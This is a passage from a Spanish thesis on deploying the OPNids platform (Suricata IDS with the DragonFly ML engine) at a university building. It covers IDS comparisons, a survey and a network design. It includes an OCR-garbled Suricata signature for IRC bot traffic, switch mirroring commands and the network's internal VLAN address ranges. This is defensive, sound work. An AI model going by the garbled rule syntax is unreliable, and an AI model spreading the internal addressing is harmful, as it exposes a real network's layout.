puede ser equivocada y bloguea trafico normal dejando en espera una sesion;

en el caso de ser TCP. Se genera una alerta.

Reject Se rechaza el paquete de manera activa, es decir, el emisor y receptor recibiran
(Rechazar) | un paguete de rechazo. Si el paquete era TCP recibira un paquete de rechazo

Reset y los demas protocolos error ICPM. También se generan alertas.

Alert Si coincide con la propiedad de Alerta, el pagquete pasara sin problemas solo el

(Alerta) administrador de red conocera la informacién.

Fuente: (OISF, 2016b)
Realizado por: Herrera, Jonathan 2021.

Un ejemplo de una regla/firma se observa en la siguiente Figura 19-1:

drop tcp $HOME_NET any -» SEXTERNAL_NMET any (msg:™ET TROJAM Likely Bot Mick im IRC {USA +..)";
flow:establizhed,to_server; flowbits:isset,is proto_irc; content:¥MICK ©; pore:™/NICK .#*USA,#*[@-9]
{3,}/1"; reference:url,doc.emergingthreats.net/2088124; classtype:trojan-activity; sid:28@8124;

rev:2;)

Figura 19-1: Formato de reglas
Fuente: (OISF, 2016)

La plataforma OPNids en sus recomendaciones de hardware menciona que debe contar con un
procesador de minimo 4 nucleos, la razon de este requerimiento es aprovechar el Multi-hilo de
suricata y potenciar su funcionamiento. Suricata posee varios modos de ejecucion (Runmodes) y
al ser multiproceso, mantiene varios subprocesos ejecutandose a la vez. Un paquete puede ser
procesado por mas de un hilo. El paquete se pasara al siguiente hilo a través de una cola. Los
paquetes seran procesados por un hilo a la vez, pero el motor puede procesar varios paquetes a la
vez. Un hilo puede tener uno 0 mas modulos de hilo. Si tienen mas modulos, solo pueden estar
activos a lavez. La forma en que los hilos, médulos y colas se organizan juntos se llama Runmode.
(OISF, 2016¢) Suricata posee 3 modos de ejecucion, pero para poder listar en linea de comandos se

puede usar el comando -list-runmodes. A continuacion, en la Tabla 7-1 se detallan los mismos.

Tabla 7-1: Modos de ejecucién de Suricata

Modo de ejecucion | Descripcion

Single Este modo es similar al workers, la diferencia radica en la utilizacion de

un solo subprocesador de paguete.
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Tabla 7-1 (continuacion)

Workers Es el modo por defecto y que posee mejor rendimiento. El controlador
de la NIC asegura un correcto balanceo de los paquetes hacia los hilos

de procesamiento de Suricata.

Autofp Este modo se utiliza al momento de procesar archivos PCAP o en

algunas configuraciones de IPS. Varios hilos capturan los paquetes y los

decodifican, después los envian hacia otros hilos llamados flow worker.

Fuente: (OISF, 2016c¢)
Realizado por: Herrera, Jonathan 2021.

1.7.3. Caracteristicas del motor de machine learning Dragonfly

Dragonfly MLE es un motor de aplicaciones de transmision escalable, programable para la
deteccion de amenazas de red creado en Redis y LuaJIT. MLE proporciona poderosos algoritmos
de deteccion de anomalias, busquedas de inteligencia de amenazas y predicciones de aprendizaje

automatico con modelos entrenados. MLE es ligero, rapido y flexible.

Esté disefiado para funcionar en conjunto con Suricata. Al ejecutar analizadores definidos por el

usuario implementados en Lua, puede procesar cientos de miles de eventos por segundo.
(Counterflow, 2018)

Dragonfly MLE cuenta con las siguientes caracteristicas:

e Diseflado para integrarse con Suricata.

¢ Implementado en C con rutas de ejecucion escalables de subprocesos multiples.

e Secuencias de comandos LualIT definidas por el usuario con soporte nativo para json y redis.
e Soporte nativo para operaciones de Redis ML.

e Capaz de ejecutarse como una aplicacion Dockerized. (Counterflow, 2018)

Dragonfly MLE esta formado por una arquitectura pipeline con un sistema de colas configurable

con tres procesadores de eventos que son:

¢ Entrada: obtiene los mensajes de una fuente, normaliza los datos en formato JSON vy los dirige
a lacola del analizador asignada para su procesamiento. Las fuentes de mensajes son archivos,
sockets de Unix o intermediarios de kafka. Las operaciones de normalizacion y ETL se
realizan mediante un script Lua definido por el usuario.

¢ Anadlisis: extrae los mensajes de la cola, analiza el evento y enruta los resultados a la cola de
salida adecuada para su procesamiento. Los analizadores se implementan como scripts Lua

definidos por el usuario.
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o Salida: extrae los mensajes de la cola y los entrega al receptor apropiado. Los receptores de

mensajes son archivos, sockets de Unix o intermediarios de Kafka. (Counterflow, 2018)

El motor de Machine Learning Dragonfly viene integrado con dos algoritmos de aprendizaje
automatico supervisados de clasificacion que son Regresién logistica (Logistic Regression) y
Bosques aleatorios (Random forest), que fueron estudiados y comparados en la seccion 1.6. El
algoritmo de clasificacion Random Forest es el recomendado por el motor de machine learning

DragonFly.

1.7.3.1. Entrenamiento del modelo de machine learning para el motor DragonFly

El proceso de entrenamiento de un modelo de machine learning consiste en proporcionar datos
de entrenamiento de los cuales va a aprender un algoritmo de machine learning, es decir, el
algoritmo de aprendizaje que por lo general es 20% de los datos del conjunto total y el restante,
80% se utiliza para evaluar el algoritmo de entramiento. (Amazon Web Services, 2021) En el motor
DragonFly estos datos de entramiento son obtenidos a través del procesador de entrada que es

alimentado por un archivo JSON con la informacion detectada por parte del IDS Suricata.

Los datos de entrenamiento deben contener la respuesta correcta, que se conoce como destino o
atributo de destino. El algoritmo de aprendizaje encuentra patrones en los datos de entrenamiento
que asignan los atributos de los datos de entrada al destino (la respuesta que desea predecir) y
genera un modelo de machine learning que captura dichos patrones. (Amazon Web Services, 2021) El

modelo de machine learning busca mejorar la deteccion de intrusos de la plataforma OPNids.

1.8. Ventajas y desventajas de OPNids con respecto a plataformas tradicionales IDPS

comerciales y open source

En la actualidad es indispensable implementar sistemas de seguridad informatica a nivel de
hardware y software en cualquier infraestructura con manejo de informacion sensible y expuesta
a internet. Pero no siempre toda institucion, organizacion o empresa poseen los recursos
necesarios para implementar soluciones de IDPS comerciales, las cuales varian de precio segln
su robustez, servicios, herramientas y el fabricante; ademas que si se trata de Machine Learning
los recursos humanos e informéaticos aumentan. Las soluciones OpenSource son las llamadas a
cubrir estas necesidades, pero dependen del apoyo de sus comunidades de desarrollo para crecer

y mejorar continuamente.
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1.8.1. Analisis comparativo de los IDPS comerciales versus OPNids

Para un analisis detallado de soluciones comerciales nos basamos en la metodologia de la
investigacion desarrollada por la empresa consultora Gartner y su famoso “Cuadrante magico de
Gartner” que proporciona una grafica con cuatro campos en los cuales serdn ubicados los
diferentes fabricantes. Para asignar a cada fabricante a un cuadrante, estos son evaluados bajo dos
criterios: Habilidad de ejecucién e Integridad de vision, después de un analisis de estos dos
criterios los diferentes fabricantes caen en uno de los 4 cuadrantes que llevan los siguientes

nombres: (Astudillo, et al., 2011, pp. 23)

e Lideres: Alta habilidad de ejecucidn e integridad y vision.
e Competidores: Alta habilidad de ejecucion y baja habilidad de vision.
¢ Visionarios: Baja habilidad de ejecucion y alta integridad de vision.

e Jugadores de nicho: bajo en ambos criterios. (Astudillo, Jimenez y Ortiz, 2011, pp. 23)

En la figura 20-1 se observa el cuadrante magico de Gartner actualizado hasta enero de 2018 con
sus diferentes fabricantes, ubicando a: Cisco con la compra de la empresa SourceFire
fortaleciendo su division de seguridad, Mc Afree con la compra de la empresa StoneSoft
complementando su IDPS Network Security Platform y Trend Micro con la compra de HP

TipppingPoint, como los lideres IDPS comerciales del mercado. Gartner en su estudio dice:

e Cisco tiene una amplia cartera de productos de seguridad y ha tenido ofertas IDPS durante
muchos afios. La adquisicion de Sourcefire ha continuado siendo una influencia positiva y
fuerte en la cartera de seguridad de red de Cisco, dando a la compafiia traccién en el mercado

de cortafuegos que no habria obtenido de otra manera. (Gartner, 2018)

e McAfee tiene una importante cartera de productos en red, servidor, nube, web, informacion
de seguridad y gestion de eventos (SIEM), andlisis de red, prevencion de pérdida de datos
(DLP) y seguridad de endpoints. Su IDPS, llamada Network Security Platform (NSP), es un

elemento principal de su oferta de productos de seguridad de red. (Gartner, 2018)

e Trend Micro es un gran proveedor de seguridad de TI global. EI IDPS también se beneficia
de las sinergias entre tippingpoint y los equipos de investigacion de Trend Micro sobre
malware, que estd mejorando la capacidad del IDPS para abordar especificamente los
elementos basados en la red de amenazas de malware. Ademas, la tecnologia de amenazas

avanzadas trend micro (sandbox) para su IDPS, llamada Deep Discovery, ahora tiene
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integraciones a su IDPS para poder recibir telemetria en tiempo real que se puede utilizar para

casos de prevencion y deteccion de casos de uso. (Gartner, 2018)

@Cisco

Trend Micro @ @ McAfee

FireEye
Alert Logic

NSFOCUS @

Venustech.

@ Vectra Networks

Hillstone Networks @

ABILITY TO EXECUTE

COMPLETENESS OF VISION As of December 2017 © Gartner, Inc

Figura 20-1: Cuadrante magico para Sistemas de deteccion y

prevencion de intrusiones
Fuente: (Gartner, 2018)

En la Tabla 8-1 se comparan algunas de las principales caracteristicas de los IDPS comerciales

lideres versus Suricata-OPNids el propuesto en el presente trabajo de titulacion.

Tabla 8-1: Comparacién de IDPS comerciales vs OPNids

Caracteristicas IDPS comerciales (Cisco, Mc OPNids
Afree y Trend Micro)

Soporte Si (2417) Comunidad
Machine Learning Mc Afree, Trend Micro Si
Proteccion e-mail Cisco No
Proteccién Cloud Cisco, Mc Afree, Trend Point No
Multi-Threading No Si
Soporte para IPv6 Si Si
IP Reputation Si Si
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Tabla 8-1 (continuacion)

Deteccion automatica de protocolos | Si Si
Aceleracion con GPU No Si
URL Reputation Si Si
GeolP Mc Afree Si
Andlisis avanzado de HTTP Cisco, Mc Afree Si
Deteccion de anomalias Si Si
Alta disponibilidad Si No
Escalabilidad Si Si
Interfaz grafica de administracion | Si Si

Fuente: (Astudillo, et al., 2011, pp. 26)

Realizado por: Herrera, Jonathan 2021.

El estudio realizado por la empresa Gartner sitlia a Cisco, Mc Afee y Trend Micro como los lideres
IDPS comerciales, en base a este estudio se analizd y realizo una comparativa de las
caracteristicas similares entre estos IDPS con la plataforma OPNids, en la tabla 8-1 se presentan
las caracteristicas y se encuentra muchas similitudes entre ellas. Cada IDPS comercial cuenta con
caracteristicas Unicas y comunes que los hacen fuertes en diferentes campos de la seguridad, pero
todo ellos buscan abarcar gran parte de las necesidades que una empresa u organizacion necesitan.
Se debe considerar que un IDPS comercial posee una ventaja principal que es el soporte; cuando
una empresa te vende el servicio en realidad te ofrece la herramienta con soporte 24/7 para
resolver cualquier inconveniente en la brevedad posible, a diferencia de cualquier IDS/IPS Open
Source que dependen de la comunidad para la resolucién de problemas como lo es Suricata, que
obtiene su soporte de la Open Information Security Foundation (OISF), pero que a pesar de ser

una comunidad sin fines de lucro es una de las mas activas.

El estudio revela que los IDPS lideres han evolucionado en su habilidad de ejecucion e integridad
de vision, hacia la utilizacion de técnicas innovadoras como proteccion de cloud, escalabilidad,
inteligencia ante amenazas y destacando entre todas ellas es la integracién de machine learning
en las plataformas Network Security Platform (Mc Afee) y Tipping Point (Trend Micro). Las
caracteristicas del machine learning son orientados hacia la deteccion de amenazas de dia cero

gue son cambiantes por naturaleza y avance en técnicas de los atacantes.

La plataforma OPNids después del analisis comparativo de las caracteristicas realizado en los
parrafos anteriores en base al estudio realizado por Gartner se concluye que presenta las ventajas
de su licencia Open Source, Suricata IDS integrado con el motor de machine learning DragonFly
y comunidad activa versus las desventajas de la falta de soporte inmediato, proteccién en Cloud

y email, mejores técnicas integradas de machine learning e integracion de nuevas herramientas
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de control y andlisis de seguridad por parte de los IDPS comerciales. Los IDPS comerciales y la
plataforma OPNids presentan varias herramientas funcionales para el andlisis, control vy
monitoreo del trafico de datos de una empresa, organizacion o universidad, pero se debe analizar
la infraestructura de red y los servicios que van a ser controlados, por esta razén los IDPS
comerciales son perfectos para infraestructuras grandes y concisas que ademas cuenten con el
financiamiento para su compra, caso contrario siempre los IDS/IPS Open Source seran los

escogidos.

1.8.2. Analisis comparativo de los IDS/IPS Open Source versus OPNids

En el presente trabajo de titulacion nos enfocamos en el uso de IDS/IPS Open Source, por esta
razdén es necesario analizar las caracteristicas entre la plataforma Suricata-OPNids y sus
principales rivales como son Snort y Zeek, este Gltimo conocido anteriormente como Bro. A
continuacion, en la Tabla 9-1 se observa la comparacion de las caracteristicas entre las

herramientas mencionadas.

Tabla 9-1: Comparacion de caracteristicas Zeek vs Snort vs Suricata-OPNids

Caracteristicas Zeek Snort Suricara-OPNids
Soporte - Comunidad Si Si No
Multi-Threading No No Si
Machine learning No (Script) No Si
Deteccién automatica de protocolos | Si No Si
Aceleracion con GPU No No Si
Multiplataforma No Si Si
Deteccion de anomalias Si Si Si
Alta disponibilidad No Si Si
Escalabilidad Si Si Si
Interfaz gréafica de administracion | No No Si

Fuente: (Astudillo, et al., 2011, pp. 28)
Realizado por: Herrera, Jonathan 2021.

En la tabla 9-1 se observa las caracteristicas mas importantes de cada IDS/IPS y se obtiene como
resultado que la plataforma Suricata-OPNids es la mejor punteada seguida por Snort y Zeek
respectivamente. Suricata-OPNids y Snort comparten gran similitud en sus capacidades y son

considerados los mejores IDS/IPS Open Source del mercado.
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Las principales ventajas de Suricata-OPNids frente a los IDS/IPS mencionados son 3

caracteristicas muy importantes:

e Multi-Threading o multi hilo: se puede configurar el nimero de procesadores a utilizar
en el anélisis de trafico de datos, es decir, aumenta la capacidad para el procesamiento
del trafico de datos de la red.

e Aceleracion por hardware de video: la utilizacidn de la tarjeta de video para el rastreo
de redes.

e Motor de machine learning Dragon Fly: el motor de machine learning a través de sus
algoritmos supervisados de clasificacion pretende mejorar la deteccion de ataques

informaticos a través del IDS Suricata en la intranet del edifico de la FIE.

Después de analizar las ventajas de Suricata-OPNids frente a las plataformas tradicionales
IDS/IPS comerciales y Open Source. La principal desventaja del IDS Suricata frente a Snort y
Zeek es la utilizacion de recursos informaticos, ya que Suricata al utilizar procesamiento multi
hilo puede llegar a sobrecargar el procesador, ademas que Zeek es capaz de implementar procesos
de machine learning, aun asi, esto presenta costos en recursos humanos e informaticos, ya que no
existe estudios sobre una integracion de la técnica machine learning a la plataforma en
produccidn, solo existen pequefios ejemplos de laboratorio. Otra de las plataformas famosas en el
mercado Open Source con caracteristicas simulares a OPNids, es Security Onion una suite
dirigida hacia la seguridad informatica que consta con varias herramientas, en la tabla 10-1 se

detalla una comparativa de sus principales caracteristicas.

Tabla 10-1: Comparacion de caracteristicas Security Onion vs OPNids

Caracteristicas Security Onion OPNids
Soporte Si No
NIDS/IPS Suricata/Zeek Suricata
Multi-Threading Si Si
Machine Learning No (script) Si
Deteccion automatica de protocolos | Si Si
Aceleracion con GPU Si Si
Multiplataforma Linux Linux
Deteccion de anomalias Si Si
Alta disponibilidad Si Si
Escalabilidad Si Si
Interfaz gréfica de administracion Si (Kibanna) Si (OPNsense)

Fuente: (Security Onion Solutions, 2021) (OPNids, 2019)
Realizado por: Herrera, Jonathan 2021.
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Las dos plataformas poseen caracteristicas simulares, la ventaja de Security Onion es el soporte
que posee la herramienta, al contrario, OPNids dejo de tener soporte a inicios de 2020. Sin
embargo, la ventaja de OPNids otra vez es su motor de machine learning DragonFly teniendo en
cuenta que como se explicd en parrafos anteriores Zeek posee la capacidad de integrar la técnica
machine learning, pero de manera oficial Security Onion lo considera como un proceso externo,
es decir, que el usuario debe realizar la integracion, lo que supone gastos en recursos humanos e

informaticos hacia la organizacion, empresa o universidad que desee implementar dicha técnica.

Sin embargo, para obtener un resultado cuantitativo del analisis de las ventajas y desventajas de
las caracteristicas realizado con respecto a los IDS/IPS Open Source versus OPNids, se procedi6
a realizar una encuesta online con la metodologia de investigacion de una escala de Likert de tipo
“Importancia” y se obtuvo los siguientes resultados. Un ejemplo de la encuesta se encuentra en el

anexo F.

Se procedi0 a realizar una encuesta online basada en las caracteristicas comparadas en las tablas
9-1y 10-1, se dimensiond de manera general las caracteristicas para plantear las 10 preguntas
correspondientes y obtener resultados. La encuesta online se realizd a 30 personas con criterio

formado con respecto a plataformas tradicionales de IDS/IPS y conocimiento afin.

En el Grafico 4-1 se observa la frecuencia global de la encuesta en la que se aprecia los porcentajes
obtenidos en la escala de Likert, en los que las opciones de “Importante” y “Muy importante”
destacan con 38% y 34% respectivamente, la opcién neutra obtiene un 18% y las opciones

negativas “Poco importante” y “No es importante” obtienen un 8 % y 2% respectivamente.

Frecuencia global

2%

ﬁ'

B No es importante

Poco importante

Ni importante ni poco

importante
Importante
38% I B Muy importante

Gréfico 4-1: Frecuencia global de la escala de Likert

Realizado por: Herrera, Jonathan 2021.
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Sin embargo, estos porcentajes no nos permiten analizar puntualmente cada una de las

caracteristicas encuestadas para poder compararlas con el estudio realizado previamente. A

continuacion, se procedi6 a calcular la frecuencia absoluta de cada pregunta segun los niveles de

importancia, es decir, la escala de Likert realizada en la encuesta online como se observa en la

tabla 11-1. En cada pregunta se calculé la frecuencia con la que el encuestado respondié con

respecto a los niveles de importancia, esto nos ayudara a calcular el valor de la encuesta por

pregunta y relacionarlo con las caracteristicas de los IDS/IPS Open Source.

Tabla 11-1: Frecuencia absoluta de cada pregunta segun los niveles de importancia

Niveles de Importancia | P1 | P2 | P3 | P4 P5 P6 P7 | P8 | P9 | P10
No es importante 0 1 0 0 0 1 0 2 0 1
Poco importante 0 3 1 2 8 3 0 3 1 2
Ni importante ni poco| O 0 3 11 12 10 2 3 4 9
importante

Importante 13 13 9 6 8 9 19 | 13 | 15 10
Muy importante 17 13 | 17 | 11 2 7 9 9 10 8

Realizado por: Herrera, Jonathan 2021.

Como ejemplo de la frecuencia del encuestado, se observa el grafico 5-1 que corresponde a la

pregunta 5 de carécter neutra y representa la conducta de los 30 encuestados.

Frecuencia absoluta pregunta 5

14
12
10
8
6
4
2
0 -
No es Poco Ni Importante Muy
importante importante importante importante
ni poco
importante

Gréfico 5-1: Frecuencia absoluta de la pregunta 5

Realizado por: Herrera, Jonathan 2021.

En la tabla 12-1 se observa la comparacion de los resultados obtenidos a través de la encuesta y

del calculo de la frecuencia absoluta por cada pregunta.
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Tabla 12-1: Comparacion de resultados entre valor estudiado y encuestado

Plataformas IDS/IPS

Caracteristicas Snort Zeek Security Onion OPNids
V.Es | V.En | V.Es | V.En | V.Es | V.En V.Es | V.En

Soporte 1 1 1 1 1 1 0 0

Recursos 0 0 0 0 1 0.8667 1 0.8667

informaticos

Machine 0 0 1 0.8667 0 0 1 0.9667

Learning

Deteccion 0 0 1 0.9333 1 0.9333 1 0.9333

automatica  de

protocolos

Aceleracion 0 0 0 0 1 0.7333 1 0.7333

GPU

Multiplataforma 1 0.8667 0 0 0 0 0 0

Deteccion de 1 0.9333 1 0.9333 1 0.9333 1 0.9333

anomalias

Disponibilidad 1 0.7333 0 0 1 0.7333 1 0.8333

Escalabilidad 1 0.8333 1 0.8333 1 0.8333 1 0.8333

GUI de 0 0 0 0 1 0.6 1 0.6

administracion

Total 5 4.37 5 4.57 7 6.63 7 6.70

Realizado por: Herrera, Jonathan 2021.

Después del célculo de la frecuencia absoluta de cada pregunta realizada como se observa en la

tabla 11-1, se procedi6 a relacionar cada pregunta con su respectiva caracteristica de los IDS/IPS

como se observa en la tabla 12-1. El valor estudiado fue comparado con el valor encuestado, en

las 4 plataformas IDS/IPS evaluadas se obtuvieron los siguientes resultados: Snort obtuvo un

valor estudiado de 5 versus 4.37 encuestado, Zeek obtuvo un valor estudiado de 5 versus 4.57

encuestado, Security Onion obtuvo un valor estudiado de 7 versus 6.63 encuestado y OPNids

obtuvo un valor estudiado de 7 versus 6.70 encuestado. Los resultados nos confirman gue existe

una aproximacion entre los valores estudiados y encuestados confirmando un andlisis correcto.
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Las plataformas Security Onion y OPNids obtuvieron los valores méas altos y con muy poca
diferencia entre ellos, lo que concluye que cualquiera de las dos plataformas IDS/IPS pueden ser
implementadas en cualquier infraestructura de red que se desea analizar su trafico de datos. Sin
embargo, en el presente trabajo de titulacion nos enfocamos hacia la utilizacion de técnicas
machine learning para el analisis de trafico de datos malicioso, por esta razon la plataforma
OPNids con su motor de machine learning DragonFly integrado es la primera opcién para

implementar en la red del edifico de la FIE.
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CAPITULO II

2. MARCO METODOLOGICO

2.1. Introduccidén

En este apartado se especifica la metodologia utilizada en el presente trabajo de titulacion que
consta de tres etapas como se observa en el Grafico 1-2. Las tres etapas nos permitiran cumplir
con cada uno de los objetivos propuestos utilizando la informacion investigada previamente en el

capitulo 1, lo cual nos permite desarrollar los objetivos correctamente.

r
Etapa 1: Disefio e implementacién de la plataforma OPNids en el edifico de
la FIE
o Andlisis de la infraestructura de red del edificio de la FIE.

* Disefio de red propuesta para la plataforma OPNids.
¢ Implementacion de la plataforma OPNids en la red del edificio de la FIE.

Etapa 2: Analizar el trafico de datos malicioso mediante la plataforma
OPNids en el edificio de la FIE.

o Anélisis del trafico de datos malicioso de la FIE mediante la plataforma OPNids.
e Amenazas detectadas en el andlisis de trafico de datos malicioso en la FIE.

Etapa 3: Evaluar el desempefio y efectividad de la plataforma OPNids en la
deteccion de trafico de datos malicioso en la red del edifico de la FIE

e Entrenamiento simulado del motor de machine learning DragonFly.
o Evaluacion de la plataforma OPNids a través de la simulacion de las amenazas
detectadas en la FIE mediante un escenario virtual

Gréfico 1-2: Etapas para el desarrollo del trabajo de titulacion

Realizado por: Herrera, Jonathan 2021.

2.2. Etapa 1: Disefio e implementacion de la plataforma OPNids en el edificio de la FIE.

En esta etapa se realiza un analisis de la infraestructura de red implementada en el edificio de la

FIE, con la finalidad de recabar toda la informacién necesaria para realizar el disefio de red e
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implementar la plataforma OPNids para el analisis del trafico de datos malicioso en el edificio de
la FIE.

2.2.1. Andlisis de la infraestructura de red del edificio de la FIE

Para disefiar e implementar la herramienta OPNids se realiz6 una inspeccion de la infraestructura
de red junto al personal técnico encargado del edificio de la FIE — ESPOCH, la Ing. Ruth Barba

cumpliendo las funciones de “técnico-docente” nos proporciono la informacion tanto de hardware
como de software existente.

WLANESTUDI.NTES

VLAN DOCENTES

VLANESTUCNTES o Ve T ESTUMNTE;\ \\ --.\\
-~ /

A& i - p N
sutham Sn';LatQ a.nq Lab3 a Switch Labs &Mgﬁi
2080-48P 2360-45F 2FE0-45F 2360458

2 FCS FC Docentes1

e HFCe DR 30&".5 TG

Figura 1-2: Topologia de red estrella del edificio de la FIE

Realizado por: Herrera, Jonathan 2021.

El edificio de la FIE tiene una topologia de red estrella como se observa en la Figura 1-2 y se
estructura de la siguiente manera:

Todo el equipamiento en su mayoria es de marca CISCO distribuido en su infraestructura fisica,
la FIE consta de 9 aulas, 7 laboratorios de cémputo, 2 salas de profesores y oficinas

administrativas. El area de servidores es el corazén de la infraestructura; el cual se encuentra
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equipado con varios switches y servidores que son gestionados por la Direccion de Tecnologias

de la Informacién y Comunicacion (DTIC).

Un switch WS-3850 de 48 puertos denominado “switch de distribucion” es el encargado de
interconectar hacia los diferentes switchs 2960-48P ubicados en los espacios mencionados, estos
switchs son conocidos como “switch de acceso”. La red posee una configuracion con 3 VLAN y

cada una con un rango de direccionamiento IP explicado en la en la Tabla 1-2:

Tabla 1-2: Rango de IP de las VLAN de la FIE

VLAN Rango de direcciones IP
Estudiantes (VLAN 200) 172.25.200.1-172.25.203.254
172.25.202.156-172.25.202.159
Docentes (VLAN 204) 172.25.204.231-172.25.204.254
Administrativos (VLAN 205) | 172.25.205.114-172.25.205.254

Realizado por: Herrera, Jonathan 2021.

Las Vlan“s mencionadas son el objetivo de andlisis de la plataforma OPNids ya que por ellas se
conduce todo el trafico de datos y por ende posibles intentos de ataques informaticos hacia el
edificio de la FIE.

2.2.1.1. Sistemas de seguridad en tiempo real del edificio de la FIE

La FIE en su infraestructura de red consta de gran equipamiento como lo demuestra la seccion
anterior, cabe recalcar que sus servidores no contienen ningun sistema de seguridad en tiempo
real encargados de monitorear el comportamiento de la red ante cualquier amenaza o atagque
informético que pueda exponer una vulnerabilidad de cualquier tipo, lo que por consiguiente crea
una potencial brecha de seguridad de la intranet de la FIE, dicha afirmacion es verificada por la

“técnico-docente” encargada.

Una red toma valor o se vuelve objetivo para un atacante cuando existen activos de informacion,
es decir, bases de datos de usuarios, informacidn confidencial, sistemas académicos, entre otros.
Las principales amenazas son ocasionas por errores humanos, factores naturales o fallas técnicas.
Por esta razon toda red por mas pequefia que esta sea y con mayor razon la FIE debe implementar
un sistema de seguridad en tiempo real. La FIE no cuenta con ningun sistema de seguridad en
tiempo real, dejando expuesta y vulnerable la intranet para que todo tipo de trafico de datos circule
siendo esto potencialmente peligroso, por esta razén la implementacién de la herramienta OPNids
para el anéalisis de trafico de datos malicioso es de gran importancia para mantener un control y

analisis de la red.
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2.2.1.2. {Porque OPNids?

OPNids es una solucion Open Source frente a otros IDS del mercado por sus herramientas
integradas en la plataforma. OPNids busca ser una plataforma para estimular el desarrollo y la
implementacién de modelos sofisticados de aprendizaje automatico en problemas de
ciberseguridad. Ademas de sus prestaciones mencionadas posee uno de los mejores IDS Open
Source del mercado que es Suricata con caracteristicas como rapidez, robustez, gratuito,
compatibilidad con varios sistemas operativos, capacidad de deteccidn de intrusos en tiempo real,
procesamiento de pcaps offline. Las alertas generadas por Suricata se pueden visualizar a nivel
de consola o con herramientas mas interactivas como Elasticsearch, Kibana, Splunk, entre otros.
Suricata emite sus alertas a través del analisis de trafico de datos por medio de firmas y reglas
aportadas por la comunidad OISF (Open Information Security Foundation) un factor fundamental
es que se puede crear reglas acordes a las amenazadas detectadas en la red y asi corregir las
vulnerabilidades este proceso es apoyado para un mejor rendimiento gracias al motor de machine
learning; el factor preponderante para la eleccidn de la plataforma OPNids es DragonFly MLE su
integracion conjunta con Suricata es la Gnica en el mercado y por consiguiente el desarrollo
correcto de la herramienta permitird un mejor rendimiento en eficacia y eficiencia frente a la

deteccion de ataques informaticos en la red del edificio de la FIE.

2.2.2. Disefio de red propuesta para la plataforma OPNids

Se realizo el disefio de red para la infraestructura del edificio de la FIE teniendo en cuenta la
topologia de red estrella mostrada en la Figura 1-2 y la informacion analizada en la seccion 2.2.1.
La solucion propuesta se puede observar en la Figura 2-2, que consiste en la implementacion de
la plataforma OPNids en el servidor HP Proliant DL360 ubicado en el area de servidores, ademas
de la configuracion del switch de distribucion en el cual se cred una sesion de monitoreo de todo
el trafico de datos de entrada de las 3 vlans que fue reflejado hacia los puertos P1, P5y P16
respectivamente para su posterior andlisis de trafico de datos de la intranet de la FIE. La
configuracion se la realizo a través de las siguientes lineas de comando con el permiso otorgado
por parte del DTIC-ESPOCH:

monitor session 2 destination interface Gi1/0/1, Gil/0/5, Gil/0/16 encapsulation replicate dotlq
vlan 200
monitor session 2 destination interface Gil/0/1, Gil/0/5, Gi1/0/16 encapsulation replicate dotlq
vlan 204
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monitor session 2 destination interface Gil/0/1, Gil/0/5, Gil/0/16 encapsulation replicate dotlq
vlan 205
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Figura 2-2: Disefio de red propuesto para la implementacion de OPNids

Realizado por: Herrera, Jonathan 2021.

2.2.2.1. OPNids como plataforma de seguridad del edificio de la FIE

Para realizar el analisis del trafico de datos y detectar posibles amenazas e intentos de intrusion
se utilizd el sistema de deteccidn de intrusos de red Suricata IDS en conjunto con su motor de
machine learning DragonFly, integrados dentro de la plataforma OPNids que se implement6 en
las maquinas virtuales creadas en el servidor HP Proliant DL360 para el anélisis de trafico de
datos de las Vlans. Cada méaquina virtual posee dos adaptadores de red virtuales, configurados
como se observa en la Tabla 2-2.

Tabla 2-2: Adaptadores de red virtuales

Adaptadores de red virtuales Configuracion

Adaptador de red ens160 Se encuentra configurado la direccién IP correspondiente a

cada Vlan.

Adaptador de red ens192 Se encuentra conectado a 3 puertos SPAN (mirror), uno por

cada Vlan que reciben todo el trafico de datos.

Realizado por: Herrera, Jonathan 2021.
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2.2.3. Implementacion de la plataforma OPNids en la red del edificio de la FIE

2.2.3.1. Requerimientos técnicos para la implementacién del servidor con OPNids

El servidor HP Proliant DL360 proporcionado por la FIE y el grupo SEGINTE se observa en la

Figura 3-2 y posee las siguientes caracteristicas detalladas en la siguiente Tabla 3-2.

Figura 3-2: Servidor HP Proliant DL360 Gen9

Realizado por: Herrera, Jonathan 2021.

Tabla 3-2: Caracteristicas del servidor HP

Servidor HP Proliant DL360 Gen 9 Caracteristicas
Nucleos CPU 8 CPUs x 2.397 GHz
Tipo de procesador Intel ® Xeon ® CPU E5-2630 v3 2.40GHz
RAM 16 Gb DRR4 SmartMemory
Tarjetas de red 1 NIC 331i — 4 puertos de 1Gb
Almacenamiento 1 HDD SAS 600GB, 1 HDD SATA 1TB
Hipervisor ESXiv5.5.0

Realizado por: Herrera, Jonathan 2021.

El servidor HP tiene conexién al switch de distribucién hacia los puertos P1, P5 y P16
pertenecientes a la Vlan: Estudiantes, Docentes y Administrativos respectivamente. Los puertos
tienen la configuracion de SPAN o puerto promiscuo para transmitir todo el trafico de datos de
las vlans hacia la herramienta OPNids, en la Figura 4-2 se observa la conexion marcada en los

recuadros de color rojo.
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Figura 4-2: Switch Cisco WS-C380

Realizado por: Herrera, Jonathan 2021.

Los requisitos para la herramienta OPNids se listan en la tabla Tabla 4-2.

Tabla 4-2: Requisitos de OPNids

OPNids Requisitos
Nucleos CPU 4 CPUs x 2.0 GHZ o superior
Tipo de procesador Intel ® 0 AMD
RAM 4-16 Gb
Tarjetas de red 2
Almacenamiento 120 Gb minimo, 300 Gb recomendado

Realizado por: Herrera, Jonathan 2021.

Como se observa en las tablas anteriores los requisitos necesarios para el funcionamiento de la
herramienta OPNids podrian ocupar un gran namero de recursos de hardware del servidor, esto
dependera en gran medida de que cantidad de eventos tenga que procesar y que servicios van a
estar activos. En el servidor HP Proliant DL360 Gen 9 se encuentra instalado el hypervisor

VMware ESXi v5.5.0 como se observa en la Figura 5-2.
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() 172.25.20010 - vSphere Client
File Edit View Inventory Administration Plug-ins Help

K EJ |& tome b gF tnventory bl Inventory
& &
@ [ [17225:200.10] localhost.espoch.edu.ec VMware ESXi, 5.5.0, 2068190 | Evaluation (7 days remaining)

[ I e summary | Virtual Machines . Resource Allocation | Performance . Configuration. | Local Users & Groups-| Events . Permissions

close tab [X
What is a Host?

A host is a computer that uses virtualization software, such
as ESX or ESXi, to run virtual machines. Hosts provide the
CPU and memory resources that virtual machines use and
give virtual machines access to storage and network
connectivity

You can add a virtual machine to a host by creating a new
one or by deploying a virtual appliance

Host

The easiest way to add a virtual machine is to deploy a
virtual appliance. A virtual appliance is a pre-built virtual
machine with an operating system and software already
installed. A new virtual machine will need an operating
